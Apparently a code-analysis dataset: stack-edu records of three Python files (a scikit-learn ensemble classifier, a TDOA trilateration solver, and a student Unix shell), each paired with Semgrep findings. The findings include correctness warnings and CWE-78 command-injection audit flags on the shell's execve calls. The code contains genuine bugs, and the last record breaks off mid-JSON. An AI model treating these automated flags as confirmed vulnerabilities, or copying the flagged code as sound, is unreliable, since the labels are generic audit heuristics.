{ "blob_id": "326d91babd2fea56a2c9760e3c0a8b9cf2e65345", "branch_name": "refs/heads/master", "committer_date": 1582698965000, "content_id": "2b9f1ab075fea317ff9361ba58e5bea4126a614f", "detected_licenses": [ "MIT" ], "directory_id": "3315182990348ea2ab16ceda30447665cf029cd9", "extension": "py", "filename": "BatyaGGClassifier.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3980, "license": "MIT", "license_type": "permissive", "path": "/BatyaGGClassifier.py", "provenance": "stack-edu-0054.json.gz:569569", "repo_name": "berdakh/BCI-controlled-UR-manipulator", "revision_date": 1582698965000, "revision_id": "e19d79b29ea63977bf780de5597537654ab40717", "snapshot_id": "fc0e5083dc3600391c6f30403cb715a5eefeaa2a", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/berdakh/BCI-controlled-UR-manipulator/e19d79b29ea63977bf780de5597537654ab40717/BatyaGGClassifier.py", "visit_date": "2022-04-08T02:02:02.856336" }
2.75
stackv2
from sklearn.base import BaseEstimator, ClassifierMixin from sklearn.ensemble import VotingClassifier from sklearn.linear_model import LogisticRegression from sklearn.ensemble import GradientBoostingClassifier from sklearn.ensemble import AdaBoostClassifier from sklearn.ensemble import RandomForestClassifier from sklearn.ensemble import ExtraTreesClassifier from sklearn.svm import SVC from sklearn.model_selection import GridSearchCV import numpy as np class BatyaGGClassifier(BaseEstimator, ClassifierMixin): def __init__(self, zero_thresh=0.1, tol=100, step=0.1, max_iter=25): self.zero_thresh = zero_thresh self.tol = tol self.step = step self.max_iter = max_iter self.fitted = False self.clf = None def fit(self, X, y): X_new, y_new = self._remove_nols_in_y(X, y) svc = SVC(kernel='rbf', C=10, probability=True) # C logreg = LogisticRegression(C=10, tol=1e-5) # C abc = AdaBoostClassifier(n_estimators=500) gbc = GradientBoostingClassifier(n_estimators=1000, max_depth=5) # max_depth rfc = RandomForestClassifier(n_estimators=500, n_jobs=-1) etc = ExtraTreesClassifier(n_estimators=500, bootstrap=True, n_jobs=-1) self.clf = VotingClassifier(estimators=[('svc', svc), ('logreg', logreg), ('abc', abc), ('gbc', gbc), ('rfc', rfc), ('etc', etc)], voting='soft') # tuning_parameters = {'svc__C': [33, 66], 'logreg__C': [33, 66]} # self.clf = GridSearchCV(clf, tuning_parameters, cv=5) self.clf.fit(X_new, y_new) self.fitted = True _, counts = np.unique(y, return_counts=True) zero_count = counts[0] pred_zero_count = 0 loop_count = 0 last_action = 'nothing' while np.abs(zero_count - pred_zero_count) > self.tol and loop_count < self.max_iter: test_prediction = self.predict(X) labels, counts = np.unique(test_prediction, return_counts=True) pred_zero_count = counts[0] if len(labels) == 4 else 0 if pred_zero_count < zero_count: if last_action is 'decreased': self.step = self.step / 2 self.zero_thresh += self.step last_action = 'increased' else: if last_action is 'increased': self.step = self.step / 2 self.zero_thresh -= self.step last_action = 'decreased' loop_count += 1 assert (type(self.zero_thresh) == float), "zero_thresh parameter must be float or double" assert (type(self.tol) == int), "tol parameter must be integer" assert (type(self.step) == float), "step parameter must be float or double" assert (type(self.max_iter) == int), "max_iter parameter must be integer" return self def _meaning(self, x): return (True if x >= self.treshold_ else False) def predict(self, X, y=None): if not self.fitted: raise RuntimeError("You must train classifier before predicting data") probs = self.clf.predict_proba(X) indexes = np.argmax(probs, axis=1) label_probs = probs[np.arange(0, probs.shape[0]), indexes] labels = indexes + 1 doubtful_label_indexes = np.where(label_probs < self.zero_thresh)[0] labels[doubtful_label_indexes] = 0 return labels def score(self, X, y): predicts = self.predict(X) eq = (predicts == y) where = np.where(eq == True)[0] return 1.0 * where.size / y.size def _remove_nols_in_y(self, data_x, data_y, remove=1): # input dim sample X channels, flattened or deflattened input indexes = np.where(data_y == 0)[0] indexes = indexes[:int(indexes.shape[0] * remove)] return np.delete(data_x, indexes, 0), np.delete(data_y, indexes, 0) # def accuracy(self): # return self.clf.best_score_
90
43.22
98
17
992
python
[{"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.string-is-comparison_4fd675e8eb72eab4_750b1457", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.string-is-comparison", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Found string comparison using 'is' operator. The 'is' operator is for reference equality, not value equality, and therefore should not be used to compare strings. For more information, see https://github.com/satwikkansal/wtfpython#-how-not-to-use-is-operator\"", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 20, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.string-is-comparison", "path": "/tmp/tmpb8jm_z1l/4fd675e8eb72eab4.py", "start": {"line": 48, "col": 20, "offset": 2186}, "end": {"line": 48, "col": 46, "offset": 2212}, "extra": {"message": "Found string comparison using 'is' operator. The 'is' operator is for reference equality, not value equality, and therefore should not be used to compare strings. For more information, see https://github.com/satwikkansal/wtfpython#-how-not-to-use-is-operator\"", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.string-is-comparison_4fd675e8eb72eab4_7ecf91a2", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.string-is-comparison", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Found string comparison using 'is' operator. The 'is' operator is for reference equality, not value equality, and therefore should not be used to compare strings. For more information, see https://github.com/satwikkansal/wtfpython#-how-not-to-use-is-operator\"", "remediation": "", "location": {"file_path": "unknown", "line_start": 52, "line_end": 52, "column_start": 20, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.string-is-comparison", "path": "/tmp/tmpb8jm_z1l/4fd675e8eb72eab4.py", "start": {"line": 52, "col": 20, "offset": 2365}, "end": {"line": 52, "col": 46, "offset": 2391}, "extra": {"message": "Found string comparison using 'is' operator. The 'is' operator is for reference equality, not value equality, and therefore should not be used to compare strings. For more information, see https://github.com/satwikkansal/wtfpython#-how-not-to-use-is-operator\"", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.correctness.common-mistakes.string-is-comparison", "rules.python.lang.correctness.common-mistakes.string-is-comparison" ]
[ "correctness", "correctness" ]
[ "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 48, 52 ]
[ 48, 52 ]
[ 20, 20 ]
[ 46, 46 ]
[ "", "" ]
[ "Found string comparison using 'is' operator. The 'is' operator is for reference equality, not value equality, and therefore should not be used to compare strings. For more information, see https://github.com/satwikkansal/wtfpython#-how-not-to-use-is-operator\"", "Found string comparison using 'is' operator. The ...
[ 7.5, 7.5 ]
[ "", "" ]
[ "", "" ]
BatyaGGClassifier.py
/BatyaGGClassifier.py
berdakh/BCI-controlled-UR-manipulator
MIT
2024-11-18T19:24:05.775851+00:00
1,496,049,488,000
3190a7a76f2cf7662dccb9a5432d71037561a404
3
{ "blob_id": "3190a7a76f2cf7662dccb9a5432d71037561a404", "branch_name": "refs/heads/master", "committer_date": 1496049488000, "content_id": "f0b63de882293785de11b5dd77794da841ae1b7a", "detected_licenses": [ "Apache-2.0" ], "directory_id": "e8eadb4019e12319aae312172f2ecb634462d1a9", "extension": "py", "filename": "lsm.py", "fork_events_count": 3, "gha_created_at": 1495037347000, "gha_event_created_at": 1688677766000, "gha_language": "Python", "gha_license_id": "Apache-2.0", "github_id": 91595911, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4898, "license": "Apache-2.0", "license_type": "permissive", "path": "/trilateration/compute/lsm.py", "provenance": "stack-edu-0054.json.gz:569603", "repo_name": "robinroyer/trilateration", "revision_date": 1496049488000, "revision_id": "9a8d1388f6ba03f72537defbddb3e984826a640e", "snapshot_id": "145bf8de745beaa7c310a32000e3730f38f0d69f", "src_encoding": "UTF-8", "star_events_count": 3, "url": "https://raw.githubusercontent.com/robinroyer/trilateration/9a8d1388f6ba03f72537defbddb3e984826a640e/trilateration/compute/lsm.py", "visit_date": "2023-07-19T19:30:31.879204" }
2.703125
stackv2
#!/usr/bin/env # -*- coding:utf-8 -*- import time import math import pyproj import datetime from sympy import Symbol, sqrt, Eq, Abs from sympy.solvers import solve from sympy import linsolve from scipy.optimize import least_squares from ..utils.utils import SPEED_OF_LIGHT from ..model.point import point from ..model.projection import projection from ..model.uplink import uplink from ..model.gateway import gateway """ The aim of this lib is to compute the geolocalization of a device by the time difference of arrival at 3 gateways. => we will store the interesting points in the different usecases and return the center of them . / \ / ! \ => We can not compute the response if we have the same gateway twice /_____\ """ class lsm: """This class handle all the tdoa process""" def __init__(self, uplink_list, projection_system='epsg:2192'): """tdoa constructor Args: uplink_list: a List of 4 uplinks to consider to compute the tdoa projection_system: The projection system name to use. (string) please choose your projection http://spatialreference.org/ref/epsg/2192/ """ if not isinstance(uplink_list, list) or len(uplink_list) < 3: raise ValueError("Incorrect uplink_list is not a list or not enough uplink") if not isinstance(projection_system, str): raise ValueError("Incorrect projection_system") for uplk in uplink_list: if not isinstance(uplk, uplink): raise ValueError("Invalid item in uplink_list is not a uplink") #check gateway uniqueness for i, uplk in enumerate(uplink_list): for j in xrange(i+1, len(uplink_list)): if uplink_list[i].gateway == uplink_list[j].gateway: raise ValueError("Gateway is not unique") # PUBLIC self.geolocalized_device = point(.0, .0) self.is_resolved = False # PRIVATE self._uplinks = uplink_list self._level = len(uplink_list) self._equations = [] self._intersections = [] self._proj = projection(projection_system) # compute the trilateration self._compute_geolocalization() def _lsm_loss_clojure(self): """ Algorithm: The goal is to resolve the equation:with a least 4 gatreways (2, 3, 4) x * Am + y * Bm + z * Cm + Dm = 0 => mat A * mat X = - mat B with: Am = (2 * Xm) / (v * Tm) - (2 * X1) / (v * T1) Bm = (2 * Ym) / (v * Tm) - (2 * Y1) / (v * T1) Cm = (2 * Zm) / (v * Tm) - (2 * Z1) / (v * T1) Dm = v * Tm - v * T1 - (Xm * Xm + Ym * Ym + Zm * Zm) / (v * Tm) + (X1 * X1 + Y1 * Y1 + Z1 * Z1) / (v * T1) As we don't have informations about the Z value, we will compute as if z = 0 => Am = (2 * Xm) / (v * Tm) - (2 * X1) / (v * T1) Bm = (2 * Ym) / (v * Tm) - (2 * Y1) / (v * T1) Dm = v * Tm - v * T1 - (Xm * Xm + Ym * Ym) / (v * Tm) + (X1 * X1 + Y1 * Y1) / (v * T1) """ # Pivot values x0, y0 = self._proj.lat_long_to_x_y(self._uplinks[0].gateway.lat, self._uplinks[0].gateway.lon) t0 = self._uplinks[0].timestamp def clojure(x): loss = .0 for i, uplink in enumerate(self._uplinks): if i == 0: continue gw_x, gw_y = self._proj.lat_long_to_x_y(uplink.gateway.lat, uplink.gateway.lon) gw_ts = uplink.timestamp loss += abs(math.sqrt((gw_x - x[0])**2 + (gw_y - x[1])**2) - math.sqrt((x0 - x[0])**2 + (y0 - x[1])**2) - SPEED_OF_LIGHT * (gw_ts - t0)) return loss return clojure def _compute_geolocalization(self): x0, y0 = self._proj.lat_long_to_x_y(self._uplinks[0].gateway.lat, self._uplinks[0].gateway.lon) solution = least_squares(self._lsm_loss_clojure(), [x0, y0]) lon, lat = self._proj.x_y_to_long_lat(solution["x"][0], solution["x"][1]) self.is_resolved = True self.geolocalized_device = point(lat, lon) # Test the lib if __name__ == '__main__': g1 = gateway(48.84, 2.26) g2 = gateway(48.84, 2.30) g3 = gateway(48.80, 2.33) g4 = gateway(48.90, 2.40) g5 = gateway(48.90, 2.50) t1 = int(time.time() * 1000000000) t2 = int(time.time() * 1000000000) t3 = int(time.time() * 1000000000) t4 = int(time.time() * 1000000000) t5 = int(time.time() * 1000000000) u1 = uplink(g1, datetime.datetime.now(), t1) u2 = uplink(g2, datetime.datetime.now(), t2) u3 = uplink(g3, datetime.datetime.now(), t3) u4 = uplink(g4, datetime.datetime.now(), t4) u5 = uplink(g5, datetime.datetime.now(), t4) solver = lsm([u1, u2, u3, u4, u5]) print solver.geolocalized_device
133
35.83
152
23
1,523
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_b34f2e9cde39d458_e746a292", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_resolved\" a function or an attribute? If it is a function, you may have meant self.is_resolved() because self.is_resolved is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 55, "line_end": 55, "column_start": 9, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/b34f2e9cde39d458.py", "start": {"line": 55, "col": 9, "offset": 1931}, "end": {"line": 55, "col": 25, "offset": 1947}, "extra": {"message": "Is \"is_resolved\" a function or an attribute? If it is a function, you may have meant self.is_resolved() because self.is_resolved is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_b34f2e9cde39d458_700889c1", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_resolved\" a function or an attribute? If it is a function, you may have meant self.is_resolved() because self.is_resolved is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 107, "line_end": 107, "column_start": 9, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/b34f2e9cde39d458.py", "start": {"line": 107, "col": 9, "offset": 4105}, "end": {"line": 107, "col": 25, "offset": 4121}, "extra": {"message": "Is \"is_resolved\" a function or an attribute? If it is a function, you may have meant self.is_resolved() because self.is_resolved is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 55, 107 ]
[ 55, 107 ]
[ 9, 9 ]
[ 25, 25 ]
[ "", "" ]
[ "Is \"is_resolved\" a function or an attribute? If it is a function, you may have meant self.is_resolved() because self.is_resolved is always true.", "Is \"is_resolved\" a function or an attribute? If it is a function, you may have meant self.is_resolved() because self.is_resolved is always true." ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
lsm.py
/trilateration/compute/lsm.py
robinroyer/trilateration
Apache-2.0
2024-11-18T19:58:22.310775+00:00
1,603,890,688,000
930068ac11bf4149de5041da273d4f216486250a
2
{ "blob_id": "930068ac11bf4149de5041da273d4f216486250a", "branch_name": "refs/heads/master", "committer_date": 1603890688000, "content_id": "37e734897563d2b53b2bba230d5f85e28babb833", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "1c018251f6f89e0fbe170283b76ac5e679546c80", "extension": "py", "filename": "shell.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 293753614, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5107, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/shell/shell.py", "provenance": "stack-edu-0054.json.gz:569650", "repo_name": "utep-cs-systems-courses/project1-shell-Llibarra2", "revision_date": 1603890688000, "revision_id": "4bfc67743262c98199e5564cf03e584f86fb3924", "snapshot_id": "1592ec53ed82c2e82f012569b5e1ac2bd340388f", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/utep-cs-systems-courses/project1-shell-Llibarra2/4bfc67743262c98199e5564cf03e584f86fb3924/shell/shell.py", "visit_date": "2023-01-09T01:22:45.678100" }
2.5
stackv2
#! /usr/bin/env python3 import os, sys, time, re curr = os.getcwd() spl = curr.split("/") short = spl[-1] dir_list = spl #probably don't need this #maybe continuously update dir list and only allow redirects if in current list def ls(): directory_list = os.listdir(curr) for i in directory_list: print(i, end = " ") return def lsdir(directory):#change directory based on user's input change = False original = curr directory_list = os.listdir(curr) if directory.startswith("/"): change = True split = directory.split("/") directory = split[-1] index = 0 while(index != len(split)-1): if split[index] == '': index +=1 os.chdir(split[index]) index = index + 1 if directory.endswith(".txt"): fdOut = os.open(directory + ".txt", os.O_CREAT | os.O_WRONLY) else: fdOut = os.open(directory + ".txt", os.O_CREAT | os.O_WRONLY) for a in directory_list: a = a + "\n" os.write(fdOut, a.encode()) # write to output file i = 0 if (change): while(i < len(split)-1): #return to current dir os.chdir("..") i = i +1 return def update_curr_dir(): curr = os.getcwd() spl = curr.split("/") short = spl[-1] def get_current(): global curr curr = os.getcwd() os.write(1, (curr + "\n").encode()) return def get_short(): global curr global short curr = os.getcwd() spl = curr.split("/") short = "\033[1;40;40m %s\x1b[0m" % spl[-1] os.write(1, (short + "$ ").encode()) return def loop_shell(): global short while True: if 'PS1' in os.environ: os.write(1,(os.environ['PS1']).encode()) try: # inp = os.read(0,256) # user_input = inp.decode().split() user_input = [str(n) for n in input().split()] except EOFError: sys.exit(1) else: get_short() try: # inp = os.read(0,256) # user_input = inp.decode().split() user_input = [str(n) for n in input().split()] except EOFError: sys.exit(1) w = True if user_input == '\n': loop_shell() return if not user_input: loop_shell() return if user_input[0] == 'exit': sys.exit(1) if "cd" in user_input:#changes directory try: os.chdir(user_input[1]) except FileNotFoundError: os.write(1, ("-bash: cd: %s: No such file or directory\n" % directory).encode()) continue else: rc = os.fork() if '&' in user_input: user_input.remove("&") w = False if user_input[0] == 'exit': quit(1) if rc < 0: os.write(2, ("fork failed, returning %d\n" % rc).encode()) sys.exit(1) elif rc == 0: if user_input[0].startswith("/"): try: os.execve(user_input[0], user_input, os.environ) # try to exec program except FileNotFoundError: pass redirect(user_input) simple_pipe(user_input) execChild(user_input) else: if w: #wait code = os.wait() if code[1] != 0 and code[1] != 256: os.write(2, ("Program terminated with exit code: %d\n" % code[1]).encode()) def parse2(cmdString): outFile = None inFile = None cmdString = ' '.join([str(elem) for elem in cmdString]) cmd = '' cmdString = re.sub(' +', ' ', cmdString) if '>' in cmdString: [cmd, outFile] = cmdString.split('>',1) outFile = outFile.strip() if '<' in cmd: [cmd, inFile] = cmd.split('<', 1) inFile = inFile.strip() elif outFile != None and '<' in outFile: [outFile, inFile] = outFile.split('<', 1) outFile = outFile.strip() inFile = inFile.strip() return cmd.split(), outFile, inFile def simple_pipe(args): if '|' in args: write = args[0:args.index("|")] read = args[args.index("|") + 1:] pr,pw = os.pipe() for f in (pr, pw): os.set_inheritable(f, True) fork = os.fork() if fork < 0: os.write(2, ("fork failed, returning %d\n" % rc).encode()) sys.exit(1) elif fork == 0: #son or daughter (#not assuming) os.close(1) os.dup2(pw,1) #redirect inp to child for fd in (pr, pw): os.close(fd) execChild(write) else: #parent os.close(0) os.dup2(pr,0) #redirect outp to parent for fd in (pr, pw): os.close(fd) execChild(read) if "|" in read: pipe(read) execChild(read) def redirect(args): if '>' in args or '<' in args: cmd,outFile,inFile = parse2(args) if '>' in args: cmd = cmd[0] if '>' in args: os.close(1) os.open(outFile, os.O_CREAT | os.O_WRONLY) os.set_inheritable(1,True) execute = [cmd,outFile] execChild(execute) #FIXME: output file only one line #maybe I should just call lsdir if '<' in args: os.close(0) os.open(args[-1], os.O_RDONLY) os.set_inheritable(0,True) execute = args[0:args.index("<")] execChild(execute) def execChild(execute): for dir in re.split(":", os.environ['PATH']): # try each directory in the path program = "%s/%s" % (dir, execute[0]) try: os.execve(program, execute, os.environ) # try to exec program except FileNotFoundError: pass time.sleep(1) os.write(2, ("-bash: %s: command not found\n" % execute[0]).encode()) quit(1) if __name__ == "__main__": loop_shell()
238
20.46
87
25
1,543
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.useless-if-body_7273a5405fa19dfd_66955eea", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-if-body", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Useless if statement; both blocks have the same body", "remediation": "", "location": {"file_path": "unknown", "line_start": 35, "line_end": 39, "column_start": 2, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/tutorial/controlflow.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-if-body", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 35, "col": 2, "offset": 703}, "end": {"line": 39, "col": 64, "offset": 871}, "extra": {"message": "Useless if statement; both blocks have the same body", "metadata": {"references": ["https://docs.python.org/3/tutorial/controlflow.html"], "category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-os-exec-audit_7273a5405fa19dfd_35c87654", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-os-exec-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "remediation": "", "location": {"file_path": "unknown", "line_start": 130, "line_end": 130, "column_start": 7, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-os-exec-audit", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 130, "col": 7, "offset": 2617}, "end": {"line": 130, "col": 55, "offset": 2665}, "extra": {"message": "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "metadata": {"cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args_7273a5405fa19dfd_72f48ed0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.", "remediation": "", "location": {"file_path": "unknown", "line_start": 130, "line_end": 130, "column_start": 7, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 130, "col": 7, "offset": 2617}, "end": {"line": 130, "col": 55, "offset": 2665}, "extra": {"message": "Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.", "metadata": {"cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "confidence": "MEDIUM", "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-os-exec-audit_7273a5405fa19dfd_47c06007", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-os-exec-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "remediation": "", "location": {"file_path": "unknown", "line_start": 229, "line_end": 229, "column_start": 4, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-os-exec-audit", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 229, "col": 4, "offset": 4868}, "end": {"line": 229, "col": 43, "offset": 4907}, "extra": {"message": "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "metadata": {"cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args_7273a5405fa19dfd_bebebf6c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.", "remediation": "", "location": {"file_path": "unknown", "line_start": 229, "line_end": 229, "column_start": 4, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-os-exec-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 229, "col": 4, "offset": 4868}, "end": {"line": 229, "col": 43, "offset": 4907}, "extra": {"message": "Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.", "metadata": {"cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification 